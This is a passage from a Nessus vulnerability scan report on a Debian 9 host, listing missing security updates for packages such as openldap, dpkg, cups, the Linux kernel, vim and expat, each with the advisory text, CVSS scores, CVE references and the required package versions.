Remote package installed : liblzma5_5.2.2-1.2+b1
Should be : liblzma5_5.2.2-1.2+deb9u1
Remote package installed : xz-utils_5.2.2-1.2+b1
Should be : xz-utils_5.2.2-1.2+deb9u1
```

161428 - Debian DLA-3017-1 : openldap - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3017 advisory.

Jacek Konieczny discovered a SQL injection vulnerability in the back-sql backend to slapd in OpenLDAP, a free implementation of the Lightweight Directory Access Protocol, allowing an attacker to alter the database during an LDAP search operations when a specially crafted search filter is processed. For Debian 9 stretch, this problem has been fixed in version 2.4.44+dfsg-5+deb9u9. We recommend that you upgrade your openldap packages. For the detailed security status of openldap please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openldap Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at:
https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/openldap
https://www.debian.org/lts/security/2022/dla-3017
https://security-tracker.debian.org/tracker/CVE-2022-29155
https://packages.debian.org/source/stretch/openldap

Solution

Upgrade the openldap packages.

For Debian 9 stretch, this problem has been fixed in version 2.4.44+dfsg-5+deb9u9.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE CVE-2022-29155

Plugin Information

Published: 2022/05/21, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libldap-2.4-2_2.4.44+dfsg-5+deb9u2
Should be : libldap-2.4-2_2.4.44+dfsg-5+deb9u9
Remote package installed : libldap-common_2.4.44+dfsg-5+deb9u2
Should be : libldap-common_2.4.44+dfsg-5+deb9u9
```

161514 - Debian DLA-3022-1 : dpkg - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3022 advisory.

Max Justicz reported a directory traversal vulnerability in Dpkg::Source::Archive in dpkg, the Debian package management system. This affects extracting untrusted source packages in the v2 and v3 source package formats that include a debian.tar. For Debian 9 stretch, this problem has been fixed in version 1.18.26. We recommend that you upgrade your dpkg packages. For the detailed security status of dpkg please refer to its security tracker page at: https://security-tracker.debian.org/tracker/dpkg Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://security-tracker.debian.org/tracker/source-package/dpkg
https://www.debian.org/lts/security/2022/dla-3022
https://security-tracker.debian.org/tracker/CVE-2022-1664
https://packages.debian.org/source/stretch/dpkg

Solution

Upgrade the dpkg packages.

For Debian 9 stretch, this problem has been fixed in version 1.18.26.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2022-1664

Plugin Information

Published: 2022/05/26, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : dpkg_1.18.25
Should be : dpkg_1.18.26
```

161628 - Debian DLA-3029-1 : cups - LTS security update

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3029 advisory.

Joshua Mason discovered that a logic error in the validation of the secret key used in the local authorisation mode of the CUPS printing system may result in privilege escalation. For Debian 9 stretch, this problem has been fixed in version 2.2.1-8+deb9u8. We recommend that you upgrade your cups packages.
For the detailed security status of cups please refer to its security tracker page at: https://security- tracker.debian.org/tracker/cups Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1011769
https://security-tracker.debian.org/tracker/source-package/cups
https://www.debian.org/lts/security/2022/dla-3029
https://security-tracker.debian.org/tracker/CVE-2022-26691
https://packages.debian.org/source/stretch/cups

Solution

Upgrade the cups packages.

For Debian 9 stretch, this problem has been fixed in version 2.2.1-8+deb9u8.

Risk Factor

High

CVSS v3.0 Base Score

6.7 (CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

5.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2022-26691

Plugin Information

Published: 2022/05/27, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libcups2_2.2.1-8+deb9u3
Should be : libcups2_2.2.1-8+deb9u8
Remote package installed : libcupsimage2_2.2.1-8+deb9u3
Should be : libcupsimage2_2.2.1-8+deb9u8
```

161725 - Debian DLA-3037-1 : libjpeg-turbo - LTS security update

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has packages installed that are affected by a vulnerability as referenced in the dla-3037 advisory.

Several integer overflows have been discovered in TurboJPEG, a JPEG image library, which can lead to a denial of service (application crash) if someone attempts to compress or decompress gigapixel images with the TurboJPEG API. For Debian 9 stretch, this problem has been fixed in version 1:1.5.1-2+deb9u2. We recommend that you upgrade your libjpeg-turbo packages. For the detailed security status of libjpeg-turbo please refer to its security tracker page at: https://security-tracker.debian.org/tracker/libjpeg-turbo Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

http://www.nessus.org/u?9774e827
https://www.debian.org/lts/security/2022/dla-3037
https://security-tracker.debian.org/tracker/CVE-2019-2201
https://packages.debian.org/source/stretch/libjpeg-turbo

Solution

Upgrade the libjpeg-turbo packages.

For Debian 9 stretch, this problem has been fixed in version 1

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.9 (CVSS2#E:U/RL:OF/RC:C)

References

CVE CVE-2019-2201

Plugin Information

Published: 2022/05/31, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : libjpeg62-turbo_1:1.5.1-2
Should be : libjpeg62-turbo_1:1.5.1-2+deb9u2
```

162296 - Debian DLA-3051-1 : tzdata - LTS security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

The remote Debian 9 host has a package installed that is affected by a vulnerability as referenced in the dla-3051 advisory.

This update includes the latest changes to the leap second list, including an update to its expiry date, which was set for the end of June. For Debian 9 stretch, this problem has been fixed in version 2021a-0+deb9u4. We recommend that you upgrade your tzdata packages. For the detailed security status of tzdata please refer to its security tracker page at: https://security-tracker.debian.org/tracker/tzdata Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1012191
https://security-tracker.debian.org/tracker/source-package/tzdata
https://www.debian.org/lts/security/2022/dla-3051
https://packages.debian.org/source/stretch/tzdata

Solution

Upgrade the tzdata packages.

For Debian 9 stretch, this problem has been fixed in version 2021a-0+deb9u4.

Risk Factor

High

Plugin Information

Published: 2022/06/15, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : tzdata_2019a-0+deb9u1
Should be : tzdata_2021a-0+deb9u4
```

162697 - Debian DLA-3065-1 : linux - LTS security update -

Synopsis

The remote Debian host is missing one or more security-related updates.

Description

The remote Debian 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the dla-3065 advisory.

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks. This update is unfortunately not available for the armel architecture. CVE-2018-1108 It was discovered that the random driver could generate random bytes through /dev/random and the getrandom() system call before gathering enough entropy that these would be unpredictable. This could compromise the confidentiality and integrity of encrypted communications. The original fix for this issue had to be reverted because it caused the boot process to hang on many systems.
In this version, the random driver has been updated, making it more effective in gathering entropy without needing a hardware RNG. CVE-2021-4149 Hao Sun reported a flaw in the Btrfs fileysstem driver. There is a potential lock imbalance in an error path. A local user might be able to exploit this for denial of service. CVE-2021-39713 The syzbot tool found a race condition in the network scheduling subsystem which could lead to a use-after-free. A local user could exploit this for denial of service (memory corruption or crash) or possibly for privilege escalation. CVE-2022-0494 The scsi_ioctl() was susceptible to an information leak only exploitable by users with CAP_SYS_ADMIN or CAP_SYS_RAWIO capabilities. CVE-2022-0812 It was discovered that the RDMA transport for NFS (xprtrdma) miscalculated the size of message headers, which could lead to a leak of sensitive information between NFS servers and clients. CVE-2022-0854 Ali Haider discovered a potential information leak in the DMA subsystem. On systems where the swiotlb feature is needed, this might allow a local user to read sensitive information. CVE-2022-1011 Jann Horn discovered a flaw in the FUSE (Filesystem in User-Space) implementation. A local user permitted to mount FUSE filesystems could exploit this to cause a use-after-free and read sensitive information. CVE-2022-1012 , CVE-2022-32296 Moshe Kol, Amit Klein, and Yossi Gilad discovered a weakness in randomisation of TCP source port selection. CVE-2022-1016 David Bouman discovered a flaw in the netfilter subsystem where the nft_do_chain function did not initialize register data that nf_tables expressions can read from and write to. A local attacker can take advantage of this to read sensitive information. CVE-2022-1198 Duoming Zhou discovered a race condition in the 6pack hamradio driver, which could lead to a use-after-free. A local user could exploit this to cause a denial of service (memory corruption or crash) or possibly for privilege escalation. CVE-2022-1199 Duoming Zhou discovered race conditions in the AX.25 hamradio protocol, which could lead to a use-after-free or null pointer dereference. A local user could exploit this to cause a denial of service (memory corruption or crash) or possibly for privilege escalation.
CVE-2022-1353 The TCS Robot tool found an information leak in the PF_KEY subsystem. A local user can receive a netlink message when an IPsec daemon registers with the kernel, and this could include sensitive information. CVE-2022-1516 A NULL pointer dereference flaw in the implementation of the X.25 set of standardized network protocols, which can result in denial of service. This driver is not enabled in Debian's official kernel configurations. CVE-2022-1729 Norbert Slusarek discovered a race condition in the perf subsystem which could result in local privilege escalation to root. The default settings in Debian prevent exploitation unless more permissive settings have been applied in the kernel.perf_event_paranoid sysctl. CVE-2022-1734 Duoming Zhou discovered race conditions in the nfcmrvl NFC driver that could lead to a use-after-free, double-free or null pointer dereference. A local user might be able to exploit these for denial of service (crash or memory corruption) or possibly for privilege escalation. This driver is not enabled in Debian's official kernel configurations. CVE-2022-1974 , CVE-2022-1975 Duoming Zhou discovered that the NFC netlink interface was suspectible to denial of service. CVE-2022-2153 kangel reported a flaw in the KVM implementation for x86 processors which could lead to a null pointer dereference. A local user permitted to access /dev/kvm could exploit this to cause a denial of service (crash). CVE-2022-21123 , CVE-2022-21125, CVE-2022-21166 Various researchers discovered flaws in Intel x86 processors, collectively referred to as MMIO Stale Data vulnerabilities. These are similar to the previously published Microarchitectural Data Sampling (MDS) issues and could be exploited by local users to leak sensitive information. For some CPUs, the mitigations for these issues require updated microcode. An updated intel- microcode package may be provided at a later date. The updated CPU microcode may also be available as part of a system firmware (BIOS) update. Further information on the mitigation can be found at or in the linux-doc-4.9 package. CVE-2022-23036 , CVE-2022-23037, CVE-2022-23038, CVE-2022-23039, CVE-2022-23040, CVE-2022-23041, CVE-2022-23042 (XSA-396) Demi Marie Obenour and Simon Gaiser of Invisible Things Lab discovered flaws in several Xen PV device frontends. These drivers misused the Xen

grant table API in a way that could be exploited by a malicious device backend to cause data corruption, leaks of sensitive information, or a denial of service (crash). CVE-2022-23960 Researchers at VUSec discovered that the Branch History Buffer in Arm processors can be exploited to create information side channels with speculative execution. This issue is similar to Spectre variant 2, but requires additional mitigations on some processors. This can be exploited to obtain sensitive information from a different security context, such as from user-space to the kernel, or from a KVM guest to the kernel. CVE-2022-24958 A flaw was discovered that the USB gadget subsystem that could lead to a use-after-free. A local user permitted to configure USB gadgets could exploit this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation. CVE-2022-26490 Buffer overflows in the STMicroelectronics ST21NFCA core driver can result in denial of service or privilege escalation. This driver is not enabled in Debian's official kernel configurations. CVE-2022-26966 A flaw was discovered in the sr9700 USB networking driver.
A local user able to attach a specially designed USB device could use this to leak sensitive information.
CVE-2022-27223 A flaw was discovered in the udc-xilinx USB gadget-mode controller driver. On systems using this driver, a malicious USB host could exploit this to cause a denial of service (crash or memory corruption) or possibly to execute arbitrary code. This driver is not enabled in Debian's official kernel configurations.
CVE-2022-28356 Beraphin discovered that the ANSI/IEEE 802.2 LLC type 2 driver did not properly perform reference counting on some error paths. A local attacker can take advantage of this flaw to cause a denial of service. CVE-2022-28390 A double free vulnerability was discovered in the EMS CPC- USB/ARM7 CAN/USB interface driver. CVE-2022-30594 Jann Horn discovered a flaw in the interaction between ptrace and seccomp subsystems. A process sandboxed using seccomp() but still permitted to use ptrace() could exploit this to remove the seccomp restrictions. CVE-2022-32250 Aaron Adams discovered a use-after- free in Netfilter which may result in local privilege escalation to root. CVE-2022-33981 Yuan Ming from Tsinghua University reported a a race condition in the floppy driver involving use of the FDRAWCMD ioctl, which could lead to a use-after-free. A local user with access to a floppy drive device could exploit this to cause a denial of service (crash or memory corruption) or possibly for privilege escalation. This ioctl is now disabled by default. For Debian 9 stretch, these problems have been fixed in version 4.9.320-2. For the armhf architecture, this update enables optimised implementations of several cryptographic and CRC algorithms. For at least AES, this should remove a timing side-channel that could lead to a leak of sensitive information. This update includes many more bug fixes from stable updates 4.9.304-4.9.320 inclusive. The random driver has been backported from Linux 5.19, fixing numerous performance and correctness issues. Some changes will be visible: - The entropy pool size is now 256 bits instead of 4096.
You may need to adjust the configuration of system monitoring or user-space entropy gathering services to allow for this. - On systems without a hardware RNG, the kernel will log many more uses of /dev/urandom before it is fully initialised. These uses were previously under-counted and this is not a regression. We recommend that you upgrade your linux packages. For the detailed security status of linux please refer to its security tracker page at: https://security-tracker.debian.org/tracker/linux Further information about Debian LTS security advisories, how to apply these updates to your system and frequently asked questions can be found at: https://wiki.debian.org/LTS

Tenable has extracted the preceding description block directly from the Debian security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=922204
https://security-tracker.debian.org/tracker/source-package/linux
https://www.debian.org/lts/security/2022/dla-3065
https://security-tracker.debian.org/tracker/CVE-2018-1108
https://security-tracker.debian.org/tracker/CVE-2021-39713
https://security-tracker.debian.org/tracker/CVE-2021-4149
https://security-tracker.debian.org/tracker/CVE-2022-0494
https://security-tracker.debian.org/tracker/CVE-2022-0812
https://security-tracker.debian.org/tracker/CVE-2022-0854
https://security-tracker.debian.org/tracker/CVE-2022-1011
https://security-tracker.debian.org/tracker/CVE-2022-1012
https://security-tracker.debian.org/tracker/CVE-2022-1016
https://security-tracker.debian.org/tracker/CVE-2022-1198
https://security-tracker.debian.org/tracker/CVE-2022-1199
https://security-tracker.debian.org/tracker/CVE-2022-1353
https://security-tracker.debian.org/tracker/CVE-2022-1516
https://security-tracker.debian.org/tracker/CVE-2022-1729
https://security-tracker.debian.org/tracker/CVE-2022-1734
https://security-tracker.debian.org/tracker/CVE-2022-1974
https://security-tracker.debian.org/tracker/CVE-2022-1975
https://security-tracker.debian.org/tracker/CVE-2022-21123
https://security-tracker.debian.org/tracker/CVE-2022-21125
https://security-tracker.debian.org/tracker/CVE-2022-21166
https://security-tracker.debian.org/tracker/CVE-2022-2153
https://security-tracker.debian.org/tracker/CVE-2022-23036
https://security-tracker.debian.org/tracker/CVE-2022-23037
https://security-tracker.debian.org/tracker/CVE-2022-23038
https://security-tracker.debian.org/tracker/CVE-2022-23039
https://security-tracker.debian.org/tracker/CVE-2022-23040
https://security-tracker.debian.org/tracker/CVE-2022-23041
https://security-tracker.debian.org/tracker/CVE-2022-23042
https://security-tracker.debian.org/tracker/CVE-2022-23960
https://security-tracker.debian.org/tracker/CVE-2022-24958
https://security-tracker.debian.org/tracker/CVE-2022-26490
https://security-tracker.debian.org/tracker/CVE-2022-26966
https://security-tracker.debian.org/tracker/CVE-2022-27223
https://security-tracker.debian.org/tracker/CVE-2022-28356
https://security-tracker.debian.org/tracker/CVE-2022-28390
https://security-tracker.debian.org/tracker/CVE-2022-30594
https://security-tracker.debian.org/tracker/CVE-2022-32250
https://security-tracker.debian.org/tracker/CVE-2022-32296
https://security-tracker.debian.org/tracker/CVE-2022-33981
https://packages.debian.org/source/stretch/linux

Solution

Upgrade the linux packages.

For Debian 9 stretch, these problems have been fixed in version 4.9.320-2.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.4 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2018-1108
CVE	CVE-2021-4149
CVE	CVE-2021-39713
CVE	CVE-2022-0494
CVE	CVE-2022-0812
CVE	CVE-2022-0854
CVE	CVE-2022-1011
CVE	CVE-2022-1012
CVE	CVE-2022-1016
CVE	CVE-2022-1198
CVE	CVE-2022-1199
CVE	CVE-2022-1353
CVE	CVE-2022-1516
CVE	CVE-2022-1729
CVE	CVE-2022-1734
CVE	CVE-2022-1974
CVE	CVE-2022-1975
CVE	CVE-2022-2153
CVE	CVE-2022-21123
CVE	CVE-2022-21125
CVE	CVE-2022-21166
CVE	CVE-2022-23036
CVE	CVE-2022-23037
CVE	CVE-2022-23038
CVE	CVE-2022-23039
CVE	CVE-2022-23040
CVE	CVE-2022-23041
CVE	CVE-2022-23042
CVE	CVE-2022-23960
CVE	CVE-2022-24958
CVE	CVE-2022-26490
CVE	CVE-2022-26966
CVE	CVE-2022-27223
CVE	CVE-2022-28356
CVE	CVE-2022-28390
CVE	CVE-2022-30594
CVE	CVE-2022-32250
CVE	CVE-2022-32296
CVE	CVE-2022-33981

Plugin Information

Published: 2022/07/02, Modified: 2025/01/24

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.320-2

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
```

```
need to update the kernel level in order to get the latest security
fixes available.
```

125959 - Debian DSA-4465-1 : linux - security update (SACK Panic) (SACK Slowness) -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.

- CVE-2019-3846, CVE-2019-10126 huangwen reported multiple buffer overflows in the Marvell wifi (mwifiex) driver, which a local user could use to cause denial of service or the execution of arbitrary code.

- CVE-2019-5489 Daniel Gruss, Erik Kraft, Trishita Tiwari, Michael Schwarz, Ari Trachtenberg, Jason Hennessey, Alex Ionescu, and Anders Fogh discovered that local users could use the mincore() system call to obtain sensitive information from other processes that access the same memory-mapped file.

- CVE-2019-9500, CVE-2019-9503 Hugues Anguelkov discovered a buffer overflow and missing access validation in the Broadcom FullMAC wifi driver (brcmfmac), which a attacker on the same wifi network could use to cause denial of service or the execution of arbitrary code.

- CVE-2019-11477 Jonathan Looney reported that a specially crafted sequence of TCP selective acknowledgements (SACKs) allows a remotely triggerable kernel panic.

- CVE-2019-11478 Jonathan Looney reported that a specially crafted sequence of TCP selective acknowledgements (SACKs) will fragment the TCP retransmission queue, allowing an attacker to cause excessive resource usage.

- CVE-2019-11479 Jonathan Looney reported that an attacker could force the Linux kernel to segment its responses into multiple TCP segments, each of which contains only 8 bytes of data, drastically increasing the bandwidth required to deliver the same amount of data.

This update introduces a new sysctl value to control the minimal MSS (net.ipv4.tcp_min_snd_mss), which by default uses the formerly hard coded value of 48. We recommend raising this to 536 unless you know that your network requires a lower value.

- CVE-2019-11486 Jann Horn of Google reported numerous race conditions in the Siemens R3964 line discipline. A local user could use these to cause unspecified security impact. This module has therefore been disabled.

- CVE-2019-11599 Jann Horn of Google reported a race condition in the core dump implementation which could lead to a use-after-free. A local user could use this to read sensitive information, to cause a denial of service (memory corruption), or for privilege escalation.

- CVE-2019-11815 It was discovered that a use-after-free in the Reliable Datagram Sockets protocol could result in denial of service and potentially privilege escalation. This protocol module (rds) is not auto loaded on Debian systems, so this issue only affects systems where it is explicitly loaded.

- CVE-2019-11833 It was discovered that the ext4 filesystem implementation writes uninitialised data from kernel memory to new extent blocks. A local user able to write to an ext4 filesystem and then read the filesystem image, for example using a removable drive, might be able to use this to obtain sensitive information.

- CVE-2019-11884 It was discovered that the Bluetooth HIDP implementation did not ensure that new connection names were null-terminated. A local user with CAP_NET_ADMIN capability might be able to use this to obtain sensitive information from the kernel stack.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=928989
https://security-tracker.debian.org/tracker/CVE-2019-3846
https://security-tracker.debian.org/tracker/CVE-2019-10126
https://security-tracker.debian.org/tracker/CVE-2019-5489
https://security-tracker.debian.org/tracker/CVE-2019-9500
https://security-tracker.debian.org/tracker/CVE-2019-9503
https://security-tracker.debian.org/tracker/CVE-2019-11477
https://security-tracker.debian.org/tracker/CVE-2019-11478
https://security-tracker.debian.org/tracker/CVE-2019-11479
https://security-tracker.debian.org/tracker/CVE-2019-11486
https://security-tracker.debian.org/tracker/CVE-2019-11599
https://security-tracker.debian.org/tracker/CVE-2019-11815
https://security-tracker.debian.org/tracker/CVE-2019-11833
https://security-tracker.debian.org/tracker/CVE-2019-11884
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://www.debian.org/security/2019/dsa-4465

Solution

Upgrade the linux packages.

For the stable distribution (stretch), these problems have been fixed in version 4.9.168-1+deb9u3.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.8 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-10126
CVE	CVE-2019-11477
CVE	CVE-2019-11478
CVE	CVE-2019-11479
CVE	CVE-2019-11486
CVE	CVE-2019-11599
CVE	CVE-2019-11815
CVE	CVE-2019-11833
CVE	CVE-2019-11884
CVE	CVE-2019-3846
CVE	CVE-2019-5489
CVE	CVE-2019-9500
CVE	CVE-2019-9503
XREF	DSA:4465
XREF	CEA-ID:CEA-2019-0456

Plugin Information

Published: 2019/06/18, Modified: 2024/05/15

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.168-1+deb9u3

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

126013 - Debian DSA-4467-1 : vim - security update

Synopsis

The remote Debian host is missing a security-related update.

Description

User 'Arminius' discovered a vulnerability in Vim, an enhanced version of the standard UNIX editor Vi (Vi IMproved). The 'Common vulnerabilities and exposures project' identifies the following problem :

Editors typically provide a way to embed editor configuration commands (aka modelines) which are executed once a file is opened, while harmful commands are filtered by a sandbox mechanism. It was discovered that the 'source'command (used to include and execute another file) was not filtered, allowing shell command execution with a carefully crafted file opened in Vim.

See Also

https://security-tracker.debian.org/tracker/source-package/vim
https://packages.debian.org/source/stretch/vim
https://www.debian.org/security/2019/dsa-4467

Solution

Upgrade the vim packages.

For the stable distribution (stretch), this problem has been fixed in version 2:8.0.0197-4+deb9u2.

Risk Factor

High

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

9.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

7.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-12735
XREF	DSA:4467

Plugin Information

Published: 2019/06/19, Modified: 2024/05/15

Plugin Output

tcp/0

```
Remote package installed : vim-common_2:8.0.0197-4+deb9u1
Should be : vim-common_2:8.0.0197-4+deb9u2
Remote package installed : vim-tiny_2:8.0.0197-4+deb9u1
Should be : vim-tiny_2:8.0.0197-4+deb9u2
Remote package installed : xxd_2:8.0.0197-4+deb9u1
Should be : xxd_2:8.0.0197-4+deb9u2
```

126351 - Debian DSA-4472-1 : expat - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

It was discovered that Expat, an XML parsing C library, did not properly handled XML input including XML names that contain a large number of colons, potentially resulting in denial of service.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=931031
https://security-tracker.debian.org/tracker/source-package/expat
https://packages.debian.org/source/stretch/expat
https://www.debian.org/security/2019/dsa-4472

Solution

Upgrade the expat packages.

For the stable distribution (stretch), this problem has been fixed in version 2.2.0-2+deb9u2.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-20843
XREF	DSA:4472
XREF	CEA-ID:CEA-2021-0025

Plugin Information

Published: 2019/07/01, Modified: 2024/05/13

Plugin Output

tcp/0

```
Remote package installed : libexpat1_2.2.0-2+deb9u1
Should be : libexpat1_2.2.0-2+deb9u2
```

126837 - Debian DSA-4484-1 : linux - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Jann Horn discovered that the ptrace subsystem in the Linux kernel mishandles the management of the credentials of a process that wants to create a ptrace relationship, allowing a local user to obtain root privileges under certain scenarios.

See Also

https://security-tracker.debian.org/tracker/CVE-2019-11478
https://security-tracker.debian.org/tracker/source-package/linux
https://packages.debian.org/source/stretch/linux
https://packages.debian.org/source/buster/linux
https://www.debian.org/security/2019/dsa-4484

Solution

Upgrade the linux packages.

For the oldstable distribution (stretch), this problem has been fixed in version 4.9.168-1+deb9u4.

For the stable distribution (buster), this problem has been fixed in version 4.19.37-5+deb10u1. This update includes as well a patch for a regression introduced by the original fix for CVE-2019-11478 (#930904).

Risk Factor

High

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

References

CVE	CVE-2019-13272
XREF	DSA:4484

XREF CISA-KNOWN-EXPLOITED:2022/06/10

Exploitable With

Core Impact (true) Metasploit (true)

Plugin Information

Published: 2019/07/22, Modified: 2024/05/09

Plugin Output

tcp/0

```
Remote package installed : linux-image-4.9.0-8-amd64_4.9.144-3.1
Should be : linux-image-4.9.0-<ANY>-amd64_4.9.168-1+deb9u4

Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

127867 - Debian DSA-4497-1 : linux - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been discovered in the Linux kernel that may lead to a privilege escalation, denial of service or information leaks.

- CVE-2015-8553 Jan Beulich discovered that CVE-2015-2150 was not completely addressed. If a PCI physical function is passed through to a Xen guest, the guest is able to access its memory and I/O regions before enabling decoding of those regions. This could result in a denial-of-service (unexpected NMI) on the host.

The fix for this is incompatible with qemu versions before 2.5.

- CVE-2017-18509 Denis Andzakovic reported a missing type check in the IPv4 multicast routing implementation. A user with the CAP_NET_ADMIN capability (in any user namespace) could use this for denial-of-service (memory corruption or crash) or possibly for privilege escalation.

- CVE-2018-5995 ADLab of VenusTech discovered that the kernel logged the virtual addresses assigned to per-CPU data, which could make it easier to exploit other vulnerabilities.

- CVE-2018-20836 chenxiang reported a race condition in libsas, the kernel subsystem supporting Serial Attached SCSI (SAS) devices, which could lead to a use-after-free. It is not clear how this might be exploited.

